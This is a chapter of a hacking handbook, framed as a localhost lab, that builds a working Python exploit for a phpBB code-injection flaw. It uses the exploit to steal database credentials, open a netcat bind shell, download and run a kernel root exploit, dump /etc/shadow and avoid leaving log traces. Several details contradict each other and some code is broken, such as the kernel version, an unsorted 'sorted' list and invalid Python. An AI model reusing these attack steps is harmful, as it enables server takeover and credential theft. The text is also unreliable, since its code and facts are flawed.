Chapter 7

Practical examples of remote attacks

In the following chapter you will learn and see the practical side of conducting the remote attack on applications. For this purpose we will use the program that we write by ourselves in Python language.

Those programs, called exploits, are divided into remote and local. Remote exploits are those that enable us to gain access to a server without having a local account on it. Local exploits work by increasing privileges when we already have an account on a specific server.

Driven by curiosity, we will try to perform an attack with the use of a remote exploit. Our exploit will allow us to increase the privileges and take control over a vulnerable application.

All you need is to start up your browser and go to the address given below. Training system has been configured in a such way to let you conduct experiments without having to install additional software. Carrying out the experiments outside the test environment is prohibited (see Introduction and Legal notice at the beginning of the manual).

Link to the sample materials:

```
http://localhost
```

Collecting information

Let's assume that the name of the server to attack is "localhost." Of course we all know that "localhost" in reality means the machine on which we work. The first thing we should do is to scan the services working on this server.

The reader can find detailed information on scanners in a later chapter of this handbook. We will now see what this scanning should look like:

```
bash-2.05b$ nmap localhost

Starting nmap 5.00 ( http://www.insecure.org/nmap/ ) at 2010-06-06 18:10 CET
Interesting ports on localhost (127.0.0.1):
(The 1656 ports scanned but not shown below are in state: closed)
PORT              STATE    SERVICE
22/tcp            open     ssh
80/tcp            open     http
5432/tcp open     postgres
6000/tcp open     X11

Nmap run completed -- 1 IP address (1 host up) scanned in 0.401 seconds
bash-2.05b$
```

We see that on the server the following services are working:

1. OpenSSH server on port 22.
2. WWW server on port 80.
3. PostgreSQL database on port 5432.
4. X11 server on port 6000.

We know already which services are activated on “localhost.” It is time to discover exactly which versions they are. For this purpose we will use the telnet program:

```
bash-2.05b$ telnet localhost 22
Trying 127.0.0.1.22...
Connected to localhost.
Escape character is '^]'.
SSH-2.0-OpenSSH_3.8.1p1
```

The version of the OpenSSH server is OpenSSH_3.8.1p1.

```
bash-2.05b$ telnet localhost 80
Trying 127.0.0.1.80...
Connected to localhost.
Escape character is '^]'.
HEAD / HTTP/1.0

HTTP/1.1 200 OK
Date: Sun, 06 Jun 2010 17:21:01 GMT
Server: Apache/2.0.52 (Unix) mod_python/3.1.3 Python/2.3.4 PHP/5.0.2
Connection: close
Content-Type: text/html
```

The version of the WWW server is Apache/2.0.52. It has also the following modules installed: mod_python/3.1.3 Python/2.3.4 PHP/5.0.2. We cannot, unfortunately, easily determine the version of the database and of the X server. Therefore, we have to make do with the knowledge that they are there without knowing the version.

We know the versions of some of the current service servers. Now we can create an overview of the internet resources in terms of gaps in this software. It is best to start searching from search engines such as:

```
http://www.packetstormsecurity.org
http://www.google.com
```

If we do not find anything there, searching the popular mailing list "BugTraq" is another option. Archives of discussions can be found under the address:

```
http://securityfocus.com/archive/1
```

This list contains reports about the majority of errors in software. Using the search tool included on the page we can check quickly if a specific version of the software is susceptible to error.

Unfortunately, all services working on the attacked server "localhost" are current versions that do not include any errors discovered so far. We can therefore start to search independently for an example in the Apache server resources. But an examination of the www site working on the "localhost" server will be a better solution.

Examination of web site

An httpd service is operating on the server. This server probably makes resources accessible in the form of a web site. We know also that the analyzed server runs PHP – this is a very important detail for us. PHP is a language that has led to a significant increase in the complexity of the method of creating www sites. However, its use is connected with a considerable risk.

Badly written PHP scripts can be taken advantage of by a cracker to gain access to the server. Let's have a look at the script in the example (**/CD/Chapter7/Listings/insecure.php**):

```
<?
        passthru($_GET['cmd']);
?>
```

The passthru() function is used to start up commands. When we save such a script under the name "insecure.php" on our server, we will leave an open door for a hacker. All he needs to do is give the command to be executed in the script parameter:

```
http://localhost/Chapter 07/insecure.php?cmd=uname -a
```

Such a query might give the following result:

```
Linux top 2.6.26 #1 Sun Jun 6 15:55:20 CEST 2010 i686 GNU/Linux
```

The passthru() function (as well as those with similar effects, such as exec(), system(), and shell_exec()) can, of course, be blocked in the PHP configuration. As standard, however, these functions are available to every user. An erroneous script, when combined with the laziness of the administrator, constitutes a serious risk for a system security.

We will thus now go to the page of the host being attacked. It happens to be a big entertainment portal, with galleries, a news system, and discussion forums – and of course, all of it is executed using PHP. As we did with services, we have to check the exact versions of these scripts. Let's assume that the author of the gallery and the news system is the page author himself. Writing this type of script does not involve a lot of work, and he probably decided to do it himself. Thus, we do not have access to the source code of the script and it will be difficult to determine if it contains any errors. We shall instead direct our attention to the forum. It is a very common board, "phpBB," used by millions of websites on the internet. On the very bottom of the forum we see the line:

```
Powered by phpBB 2.0.8 (c) 2003 phpBB Group
```

This is a quite recent version of the script. We can still have a look at the "BugTraq" list, as there is still a chance we might find something interesting. We search for the text "phpBB" in it. Skipping past insignificant errors such as cross-site scripting, we are suddenly delighted to discover the following:

```
phpBB Code EXEC (v2.0.10)
```

Is it possible that the best-known discussion forum is susceptible to a code injection error? Let's familiarize ourselves with the details, available under:

```
http://www.securityfocus.com/archive/1/380993/2004-11-07/2004-11-13/0
```

Due to an incorrect conversion of the value of the "highlight" parameter in the script we are able to execute our own PHP command. If we transfer "%2527" the script will change it into single quotation marks. From the information about the error we learn also that it is the reason for the SQL injection. We can presume that the "highlight" variable we sent was, in reality, part of the query to the database. Closing the quotation marks from both sides we can interrupt the SQL query and execute our PHP code in the middle of it. As we already know, this can be very dangerous for the server.

We know that on the server under attack there is an error in the form of a PHP script. Now we can look in the network for an available exploit code or choose a more ambitious way by writing an exploit ourselves. Of course, ambitious beginning hackers will always choose the more difficult way, just for the fun of learning how to do it. We will thus try to take advantage of the error in the phpBB by ourselves.

Choice of programming language

Exploits are created in exactly the same way as every other program. They are written in a specific programming language. Ours is no exception. The majority of exploits are written in C, which is a very old language, but is still considered by many to be the best due to its performance. Each system in the Unix family contains a C compiler, making the exploits written with it transferable. This means that they can be run on different computers. C is,

however, a relatively difficult language to learn. To study it carefully, one needs several months or even years, depending on enthusiasm and ability. It is of course worth learning, but we don't want to wait so long. We will, therefore, choose one of the easier programming languages.

Exploits written in the Python language are rare. But it lends itself perfectly to our task. Python is certainly slower than C, but this is not the highest priority in writing exploits. It is important that the code is concise and brings about the required result. We have chosen Python, so let's take a closer look at this language.

The Python language

We can distinguish between two main types of programming languages: compiled languages and script languages. Compiled languages are those whose source code can be translated into machine code, understandable to a processor. Among them are C, C++, and Pascal. Writing in these languages requires a lot of effort and knowledge about hardware. We have to implement even the simplest operations, such as operations on tables, independently. These languages are efficient, but writing a large program using them can take a long time.

The second type is script languages. In a script language, the code of a program to copy files to an FTP server might look something like this:

```
ConnectWithFTP("ftp.ftpserver.com")
LoginToFTP("login", "password")
ListDirectory()
UploadFileToFTP("file.txt")
CloseConnection()
```

Trying to start up a program like this example will inevitably result in an error message. To execute the above program a script-language interpreter is necessary. Our example is not, of course, written in any existing script language. However, there is nothing to prevent us from writing an interpreter for it. The interpreting program must be written in a compiled language to execute the operations we programmed. The interpreter opens our script file and executes its lines in sequence. When it runs into a command known to it

(for example "ConnectWithFTP") it performs its own function that executes specific operations. However, this is executed by the processor, and not, like our script code, by the interpreter.

As the reader can already guess, Python is a script language, so to run the code written in it we have to equip ourselves with a program to interpret the Python code. This is, unsurprisingly, a program called "python." It is included in each new distribution, and can also can be downloaded from the website:

```
http://www.python.org
```

Since we already have the python program we will now check how it works:

```
bash-2.05b$ python
Python 2.3.4 (#1, Jun 6 2010, 16:48:38)
[GCC 3.3.4 (PLD Linux)] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>>
```

After starts the Python language shell appears. Just as the bash shell we have frequently used understands the commands of the Bash language, the python shell interprets the Python code. Let's try to write a simple script that will display the phrase "Hello world!" on the screen:

```
>>> print "Hello world!"
Hello world!
>>>
```

Easy, isn't it? Users of the C language will notice just how many fewer operations are required to print the information to the screen. A compiled language does not share this simplicity.

We will now try to program a more advanced script. It will be used to sort elements in a table:

```
>>> table = ["Jason", "Marion", "Victoria", "Michael", "George"]
>>> table
['Jason', 'Marion', 'Victoria', 'Michael', 'George']
>>> table.sort()
>>> table
```

```
['Jason', 'Marion', 'Victoria', 'Michael', 'George']
>>>
```

In order to sort the table containing the character sequences, one command – "table.sort()" – is enough. We do not have to worry about the performance of this operation. We do not care which algorithm has been used for sorting. A significant number of professional developers work using Python, and would not do so if there were a better alternative available.

Python offers the ability to run scripts outside its shell. It is enough to save the script code on a disk and to give it as parameter of the python program. We can add the information to the top of the script that it is a python script, which gives it execution rights so it can run just like any other program. Let's have a look at the script below: It shows the function of the "for" loop, the structure of which is slightly different than in other programming languages (**/CD/Chapter7/Listings/script.py**).

```
#!/usr/bin/env python

# Creating number table:
table = [45, 34, 567, 1, 367]
# Sorting table:
table.sort()
# Printing each element:
number = 0
for element in table:
        print "%d to %d element in table"%(element, number)
        number+=1
print "End"
```

We will now save this code as "script.py." We have included line indicating that this is an executable Python program at the top. We can therefore try to execute it:

```
bash-2.05b$ chmod +x script.py
bash-2.05b$ ./script.py
1 to 0 elements in table
34 to 1 elements in table
45 to 2 elements in table
367 to 3 elements in table
567 to 4 elements in table
End
bash-2.05b$
```

We can obtain the same result using the command:

```
bash-2.05b$ python script.py
1 to 0 elements in table
34 to 1 elements in table
45 to 2 elements in table
367 to 3 elements in table
567 to 4 elements in table
End
bash-2.05b$
```

As we can see, using this language, even for someone without prior programming experience, should not present a problem. We have said that the Python language presents us with vast opportunities. But there's nothing extraordinary about sorting tables or printing text. The real power of Python is hidden in its modules.

Python modules

Like most modern programming languages, Python is object oriented. This means that the scripts written in it are created from individual objects, or modules, as this category of objects is called. Programmers do not need to know anything about these modules; it is enough to instruct one to perform an operation, and it will run its own internal code. This approach makes programming faster and significantly easier; it also means a high-quality code can be maintained, allowing it to be modified easily. There are many Python modules. While the script is running we can import them and instruct them to perform specific operations. An example of a module is "ftplib," which communicates with an FTP server. Using it we can write a simple FTP client in a few minutes. We can convert the script language code we created in the previous section into an equivalent in the Python language.

We activate the Python shell:

```
bash-2.05b$ python
Python 2.3.4 (#1, Jun 7 2010, 16:48:38)
[GCC 3.3.4 (PLD Linux)] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import ftplib
```

The command “import” serves to load the modules. In this example it is ftplib. Then we want to perform the command contained in “ConnectWithFTP('ftp.ftpserver.com')”:

```
>>> conn = ftplib.FTP("ftp.ftpserver.com")
>>>
```

No error occurred, so the connection has been made. We have created a new object, “conn,” which establishes our connection. Of course, instead of “ftp.ftpserver.com” we should enter the ftp server address where we have an account.

Next, we would like to log into our account, using LoginToFTP("login", "password"). To find out how to do this, we have to display the list of functions offered by our object “conn”:

```
>>> dir(conn)
['__doc__', '__init__', '__module__', 'abort', 'acct', 'af', 'close', 'connect', 'cwd',
'debug', 'debugging', 'delete', 'dir', 'file', 'getline', 'getmultiline', 'getresp',
'getwelcome', 'host', 'lastresp', 'login', 'makepasv', 'makeport', 'mkd', 'nlst',
'ntransfercmd', 'passiveserver', 'port', 'putcmd', 'putline', 'pwd', 'quit', 'rename',
'retrbinary', 'retrlines', 'rmd', 'sanitize', 'sendcmd', 'sendeprt', 'sendport',
'set_debuglevel', 'set_pasv', 'size', 'sock', 'storbinary', 'storlines', 'transfercmd',
'voidcmd', 'voidresp', 'welcome']
>>>
```

We notice the obvious “login” field. We therefore attempt to log into the ftp server using this function.

```
>>> conn.login("login", "password")
'230 User login logged in.'
>>>
```

We are now logged in. Now, for example, we can list the current directory, ListDirectory():

```
>>> conn.dir()
-rw-r--r--   1 wwwuser  kra           668 Nov 13 22:02 exec
-rw-r--r--   1 wwwuser  kra           669 Nov 13 22:04 exec.php
>>>
```

Next, we upload the file named “file.txt” to the server. First we have to open the file and then copy its content.

To do this we use the storbinary() function:

```
>>> f = open("file.txt", "rb")
>>> conn.storbinary("STOR file.txt", f, 1024)
'226 Transfer complete.'
>>> conn.dir()
-rw-r--r--   1 wwwuser  kra           668 Nov 13 22:02 exec
-rw-r--r--   1 wwwuser  kra           669 Nov 13 22:04 exec.php
-rw-r--r--   1 wwwuser  kra             1 Dec  7 14:58 file.txt
>>>
```

After copying the file we can terminate the connection with the command:

```
>>> conn.close()
```

Programming this operation in the C language would take several hours, but using Python it can be written in a few seconds. We treat the "ftplib" module as an object whose content does not interest us. It gives us only the names of the functions that enable us to perform operations in its internal code. The actual communication method with the FTP server is unknown to us. This approach to programming saves time in many ways and is becoming more and more common.

The short overview of Python in this chapter is not able to describe all its capabilities. A description of the language itself as well as of individual modules can be found on the following webpage:

```
http://docs.python.org/tut/
```

It provides a detailed tutorial dedicated to programming in Python. We highly recommend this tutorial to the reader, as an excellent means to improve knowledge of this useful language.

Writing an exploit

Let's assume that we already know the programming language that we will use for writing our exploit well enough. It is time to stop and think how our exploit will work and what we want to achieve.

The error is located in the phpBB discussion forum. The forum belongs to a certain website. Therefore, we have to access this website in some way in order to transfer our modified parameter "highlight" to the viewtopic.php script. For this task we will use the "urllib" Python module. This allows us to start HTTP and FTP connections. Then the exploit should receive command-line arguments, which will be:

a) The page under attack.
b) The number of existing topic (in order to transfer the "highlight" variable).
c) The command to be performed on the server.

The passthru($_GET[cmd]) function presented at the beginning of the article will be the PHP code we use to inject the exploit. It should therefore be enough to transfer an additional "cmd" parameter as an execution command. After sending an appropriate query to the server using "urllib" we will receive the result of the command in the code of the page it returns. For now we will try to write an exploit that does not require parameters in the Python shell.

We can now get down to work.

```
bash-2.05b$ python
Python 2.3.4 (#1, Jun 7 2010, 16:58:38)
[GCC 3.3.4 (PLD Linux)] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import urllib
```

At the beginning we load the module enabling the connection with the page under attack.

```
>>> host = "http://localhost/forum"
>>> number = "1"
>>> command = "uname -a"
```

Next we load the variables. The forum with the error is located on the "localhost" server in the "forum" folder. The current topic has number 1. The command we want to execute is "uname –a." When we manage to write an exploit in the shell, we will transfer it to a file, which will download these data from the user.

```
>>> url = host
```

The url variable will be the address that we want to run. Here we assign it a link to the forum.

```
>>> url += "/viewtopic.php?t="
>>> url += number
```

We add the number of the existing topic to the address.

```
>>> url += "&cmd="
>>> url += urllib.quote("echo BEGIN; %s; echo END"%command)
```

Now, within the address, we send the command to be executed. This will be the value of the "cmd" variable. The urllib.quote() function converts all special characters into ones that can be read by the www server. So our command will be:

```
"echo BEGIN; <target command>; echo END"
```

We will now try to run something similar on our machine:

```
bash-2.05b$ echo BEGIN; uname -a; echo END
BEGIN
Linux top 2.6.26 #1 Mon Jun 7 15:55:20 CEST 2010 i686 GNU/Linux
END
```

Thanks to the words "BEGIN" and "END" we are now able to define the location of the command result that will appear on the page. We simply cut out what is between them.

```
>>> url += "&highlight=%2527"
>>> url += urllib.quote(".passthru($_GET[cmd]).")
>>> url += "%2527"
```

At the end we transfer the most important part of the address, the value of the "highlight" variable. Because of this, our php code "passthru($_GET[cmd])" will be executed on the server. As we know, it will activate the command previously sent. The dots before and after our code are necessary, because this code is pasted to our SQL query. Without them the script would not have executed, but would only have returned an error.

We now have the target address, and it is a simple matter to open it.

```
>>> data = urllib.urlopen(url)
```

As we can probably guess, the urlopen() function from the "urllib" library is used to open a specific address. It also returns the result received from the www server. There is nothing more for us to do but take the command result from the page.

```
>>> print = 0
>>>
>>> for line in data.readlines():
...         if line.find("END")!= -1:
...                 print = 0
...                 print "~~~~~~~~~~ END ~~~~~~~~~~"
...                 break
...         if line.find("BEGIN")!= -1:
...                 print = 1
...                 print "~~~~~~~~~~ RESULT ~~~~~~~~~~"
...                 continue
...         if print:
...                 line = line.replace("\n", "")
...                 print line

~~~~~~~~~~ RESULT ~~~~~~~~~~
Linux top 2.6.26 #1 Mon Jun 7 15:55:20 CEST 2010 i686 GNU/Linux
~~~~~~~~~~ END ~~~~~~~~~~
>>>
```

This loop repeats as many times as there are lines in the returned page. The data.readlines() function returns a table in which all lines are included. We therefore need to go through them and print only the result of our command. Here the inscriptions "BEGIN" and "END" that we have been printing will be useful. When we come across the line that includes the "BEGIN" chain we will set the value of the "print" variable to one. This is a sign for the loop that it is time to print the read data because it is the result of our operation. Then when the loop meets the line with "END" it ends its operation. At this point the program deletes all the characters of the new line from the line to be printed, using the line.replace() function. It allows us to achieve a more compact result on the screen. As we can see our shell exploit has worked perfectly. It would, however, be better to transfer the information about the system under attack, the command, and the topic number to the script as arguments. To do this we will use the "sys" Python module. This has a table

with the name “argv” (familiar to users of the C language) that contains all transferred arguments.

Below is a file version of the exploit that we have written in the shell (**/CD/Chapter7/Listings/exploit.py**):

```
#!/usr/bin/env python

import urllib
import sys

host = sys.argv[1]
numer = sys.argv[2]
command = sys.argv[3]

url = host
url += "/viewtopic.php?t="
url += numer
url += "&cmd="
url += urllib.quote("echo BEGIN; %s; echo END"%command)
url += "&highlight=%2527"
url += urllib.quote(".passthru($_GET[cmd]).")
url += "%2527"data = urllib.urlopen(url)

print = 0

for line in data.readlines():
        if line.find("END")!= -1:
                print = 0
                print "~~~~~~~~~~ END ~~~~~~~~~~"
                break
        if line.find("BEGIN")!= -1:
                print = 1
                print "~~~~~~~~~~ RESULT ~~~~~~~~~~"
                continue
        if print:
                line = line.replace("\n", "")
               print line
```

We will save the exploit under the name “exploit.py” and will give it execution rights:

```
bash-2.05b$ chmod +x exploit.py
```

From now on we can start it up as with any other program:

```
bash-2.05b$ ./exploit.py http://localhost/forum 1 "uname -a"
~~~~~~~~~~ RESULT ~~~~~~~~~~
Linux top 2.6.26 #1 Mon Jun 7 15:55:20 CEST 2010 i686 GNU/Linux
~~~~~~~~~~ END ~~~~~~~~~~
```

As we can see everything is working as it should. We have just written a fully functioning exploit in Python! Let's stop to think which advantages the ability to execute commands on a remote server can give us.

Practical uses of exploits

We are slowly approaching the end of a long path we have intentionally chosen. We have already written an operational exploit and have learned the basics of the Python language, which will certainly be useful in the future. It's now time to enjoy our new "toy." The .php files included on the server are not available for remote users. But we can run the commands on the local machine under the rights of the www server, which can read all the pages. We can therefore, for example, read the configuration of the forum database. For this we will use the "grep db config.php" command that takes out the lines containing the "db" sequence from the config.php file:

```
bash-2.05b$ ./exploit.py http://localhost/forum 1 "grep db config.php"
~~~~~~~~~~ RESULT ~~~~~~~~~~
$dbms = 'mysql';
$dbhost = 'localhost';
$dbname = 'forum';
$dbuser = 'admin';
$dbpasswd = 'adm%$secretD3password';
~~~~~~~~~~ END ~~~~~~~~~~
bash-2.05b$
```

Armed with this information we can obtain full access to the forum database, and possibly also to the entire server database (depending on the configuration).

There can be many pages on the server under attack. It is therefore worth looking through the configuration files of the Apache server in search of interesting addresses. Frequent use of this exploit is, however, not a good idea. Each startup leaves a trail in the form of logs saved on the server to which we connected. It would be good to have the ability to freely execute commands without leaving unnecessary evidence behind after a single use of our exploit. The best tool for this task is the NetCat (nc) program.

NetCat is a small, useful network program. It allows us to make a connection with the server, and it plays the role of a server operating on a specific port. If it is not in the system under the name "nc" we can download it from the page:

```
http://netcat.sourceforge.net
```

Operating on the console of the local system we will now try to run NetCat with the following parameters:

```
bash-2.05b$ nc -lp 12345 -e /bin/bash
```

It will be listening to (-1) on the port (-p) 12345. After connecting to it, it will send the operation to the program "/bin/bash"; that is, to the user shell.

Now, on the second console we can connect to the localhost on the port 12345 and perform any bash commands:

```
bash-2.05b$ nc localhost 12345
uname -a
Linux top 2.6.26 #1 Mon Jun 7 15:55:20 CEST 2010 i686 GNU/Linux
id
uid=500(user) gid=1000(users)
exit
bash-2.05b$
```

We can repeat exactly the same operation on the machine under attack using exploit. If it does not contain the NetCat program, we can copy it there using wget.

A universal command looks like this:

```
wget http://adres.do.nc; chmod 777 nc; ./nc -lp 12345 -e /bin/bash
```

We, however, know that the "nc" program is installed on the server under attack. There is therefore no need to download it. As a result, we will limit ourselves to the request:

```
bash-2.05b$ ./exploit.py http://localhost/forum 1 "nc -lp 12345 -e /bin/bash"
```

We log on to the server, awaiting the connection:

```
bash-2.05b$ nc localhost 12345
uname -a
Linux top 2.6.26 #1 Mon Jun 7 15:55:20 CEST 2010 i686 GNU/Linux
```

Now, we can perform any number of requests, without leaving a trace in the www server register. We are operating as a regular user with rights to use only the web server. We therefore do not have access to all the files:

```
cat /etc/shadow
cat: /etc/shadow: No access
```

As we know, the encrypted user passwords are located in the /etc/shadow file. Only the system administrator has access to this. Therefore we have to become an administrator to obtain full access to the server. Executing the "uname -a" command we will learn which kernel version is running on it – it turns out to be 2.4.22. The system kernel runs under administrator privileges, so if there were an error, we could in theory gain these privileges. Version 2.4.22 is relatively old and contains many bugs. After looking around briefly, we find what we want:

```
http://packetstormsecurity.org/0312-exploits/hatorihanzo.c
```

This is an exploit on the system core that grants administrator privileges, written by the iSEC.pl group. All we need to do is download it to our hard disk and copy it to the server under attack.

```
wget http://www.packetstormsecurity.org/0312-exploits/hatorihanzo.c
gcc -o hatorihanzo hatorihanzo.c -static
./hatorihanzo
```

The exploit takes advantage of an error in the system managing the core memory. It allocates large memory areas. So we have to wait a little bit before we receive any satisfactory results. After several seconds we can give the request "id":

```
id
uid=0(root) gid=0(root)
```

In this way we gain full access to the server. Let's check to be sure:

```
cat /etc/shadow
root:$1$vG8imyet$45azcsFq/ROkspXd2jYeO/:12697:0:99999:5:::
bin:*:12669:0:99999:5:::
daemon:*:12669:0:99999:5:::
sync:*:12669:0:99999:5:::
shutdown:*:12669:0:99999:5:::
halt:*:12669:0:99999:5:::
mail:*:12669:0:99999:5:::
sshd:!!:12669:0:99999:5:::
postgres:$1$cavmcchv$t4eb.HsHYAdMyHZdIXDZM0:12669:0:99999:5:::
user1:$1$TWLYuXv4$v5wd3GCV58TZxUAxdGxWZ1:12670:0:99999:5:::
user2:$1$a2s5oeiP$VGsFWZhZjWw3CTFOcxh9S1:12705:0:99999:5:::
user3:$1$l4S19c1u$h.LNd.mNl9GezrPhUjdFA.:12681:0:99999:5:::
```

Therefore there is no need to crack passwords. We can do everything through NetCat, without leaving any traces of our operation in the logs. If this makes us uncomfortable, we can add a new user with administrator rights and log into a server using ssh. Such a solution is, however, very risky and just about every administrator will notice it.

We have proved to ourselves that we are able to crack our local server. We can be proud of ourselves. We have learned the basics of the Python language, we have written our own fully functioning exploit taking advantage of an error in the software, and, most importantly, we are now able to take advantage of buffer overflow errors with success. We can now move on to the next chapter of the handbook.